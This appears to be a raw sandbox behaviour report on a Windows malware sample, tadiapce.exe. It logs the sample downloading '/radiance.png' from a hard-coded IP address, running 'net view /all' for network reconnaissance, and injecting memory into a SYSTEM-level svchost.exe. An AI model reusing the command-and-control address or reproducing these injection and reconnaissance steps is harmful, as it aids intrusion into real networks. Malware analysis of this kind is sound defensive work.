Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = 204.155.30.69, server_port = 0 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /radiance.png, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 204.155.30.69/radiance.png True 1
Fn
Read Response size = 3816, size_out = 3816 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 808, size_out = 808 True 1
Fn
Data
Read Response size = 3752, size_out = 3752 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 3
Fn
Data
Read Response size = 712, size_out = 712 True 1
Fn
Data
Read Response size = 3752, size_out = 3752 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 4
Fn
Data
Read Response size = 7040, size_out = 7040 True 1
Fn
Data
Read Response size = 7260, size_out = 7260 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 520, size_out = 520 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 8
Fn
Data
Read Response size = 1024, size_out = 1024 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 8
Fn
Data
Read Response size = 36, size_out = 36 True 1
Fn
Data
Read Response size = 7260, size_out = 7260 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 5
Fn
Data
Read Response size = 5504, size_out = 5504 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 7780, size_out = 7780 True 1
Fn
Data
Read Response size = 5808, size_out = 5808 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 3424, size_out = 3424 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 15
Fn
Data
Read Response size = 1992, size_out = 1992 True 1
Fn
Data
Read Response size = 952, size_out = 952 True 1
Fn
Data
Process #51: cmd.exe
58 0
»
Information Value
ID #51
File Name c:\windows\system32\cmd.exe
Command Line /c net view /all
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:59, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:00:17
OS Process Information
»
Information Value
PID 0xbb4
Parent PID 0xa70 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BB8
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 4
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 136, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\net.exe os_pid = 0x950, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x49df0000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:34:04 (UTC) True 1
Fn
Get Time type = Ticks, time = 11083028 True 1
Fn
Get Time type = Performance Ctr, time = 31304586788 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000002 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #53: svchost.exe
98 0
»
Information Value
ID #53
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:59, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:00:17
OS Process Information
»
Information Value
PID 0x748
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x E20
0x E28
0x E2C
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x50000, size = 367 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x60000, size = 112 True 59
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x602104, size = 12 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd40000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd41000, size = 35840 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4a000, size = 6656 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4c000, size = 3072 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4d000, size = 4084 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4e000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f000, size = 3072 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd50000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd51000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd52000, size = 1536 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 26 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x120000, size = 12 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 14 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x120000, size = 16 True 55
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f224, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 13 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f22c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 22 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f230, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 21 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f234, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 18 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f238, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 20 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f23c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 19 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f240, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 24 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f244, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f248, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 17 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f24c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f250, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 15 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f254, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f258, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f25c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f260, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 10 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f264, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 9 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f268, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 12 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f26c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f270, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f274, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f278, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f27c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f280, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f284, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 28 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f288, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 6 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f28c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f290, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f294, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 25 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f298, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f29c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2a0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2a4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2ac, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2b0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 11 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2b4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 7 True 9
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2b8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2bc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 5 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2c0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2c4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 8 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2c8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2cc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2d0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2d4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2d8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2dc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2e0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2e4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2e8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2ec, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2f0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2f4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2f8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f2fc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4f300, size = 4 True 1
Fn
Data
Host Behavior
Module (94)
»
Operation Module Additional Information Success Count Logfile
Load ACTIVEDS.dll base_address = 0x6eb70000 True 1
Fn
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load msvcrt.dll base_address = 0x76f80000 True 1
Fn
Load NETAPI32.dll base_address = 0x73c20000 True 1
Fn
Load ole32.dll base_address = 0x76cd0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x76a60000 True 1
Fn
Load USER32.dll base_address = 0x76c00000 True 1
Fn
Load WS2_32.dll base_address = 0x75a90000 True 1
Fn
Get Handle c:\windows\system32\msvcrt.dll base_address = 0x76f80000 True 1
Fn
Get Address c:\windows\system32\activeds.dll function = ADsOpenObject, address_out = 0x6eb716e6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x76b6375d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteCriticalSection, address_out = 0x77389ac5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x773777a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcess, address_out = 0x76b5cdcf True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessId, address_out = 0x76b5cac4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentThreadId, address_out = 0x76b5bb80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76b5ce2e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLastError, address_out = 0x76b5bf00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleW, address_out = 0x76b6374d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76b62fde True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount, address_out = 0x76b5ba60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSection, address_out = 0x7738a149 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDBCSLeadByteEx, address_out = 0x76b74dad True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77377760 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MultiByteToWideChar, address_out = 0x76b6452b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76b5bb9f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetCurrentDirectoryA, address_out = 0x76b5903d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76b63d01 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateProcess, address_out = 0x76b52331 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsGetValue, address_out = 0x76b5da70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76b6ed38 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualProtect, address_out = 0x76b52341 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualQuery, address_out = 0x76b676d6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = __dllonexit, address_out = 0x76f8f509 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = __mb_cur_max, address_out = 0x77023148 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _amsg_exit, address_out = 0x76feb2ef True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _errno, address_out = 0x76f8a5b8 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _initterm, address_out = 0x76f8c151 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _iob, address_out = 0x77022900 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _lock, address_out = 0x76f8a449 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _onexit, address_out = 0x76f9112d True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _snwprintf_s, address_out = 0x76f9141b True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = calloc, address_out = 0x76f8c456 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = fputc, address_out = 0x76ff87c3 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = free, address_out = 0x76f89894 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = fwrite, address_out = 0x76f976ac True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = getenv, address_out = 0x76f9a419 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = localeconv, address_out = 0x76f906a8 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = malloc, address_out = 0x76f89cee True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = memcpy, address_out = 0x76f89910 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = memset, address_out = 0x76f89790 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = setlocale, address_out = 0x76f95286 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = strchr, address_out = 0x76f8dbeb True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = strerror, address_out = 0x76fa7a18 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = strlen, address_out = 0x76f943d3 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = strncmp, address_out = 0x76f8b443 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = strncpy, address_out = 0x76f908a9 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = strstr, address_out = 0x76f8de4a True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _unlock, address_out = 0x76f8a42d True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = abort, address_out = 0x76fe8e53 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = atoi, address_out = 0x76f8dbe0 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = vfprintf, address_out = 0x76ff7408 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = wcslen, address_out = 0x76f9d335 True 1
Fn
Get Address c:\windows\system32\netapi32.dll function = NetApiBufferFree, address_out = 0x73c113d2 True 1
Fn
Get Address c:\windows\system32\netapi32.dll function = NetServerEnum, address_out = 0x6f692f61 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitialize, address_out = 0x76ceb636 True 1
Fn
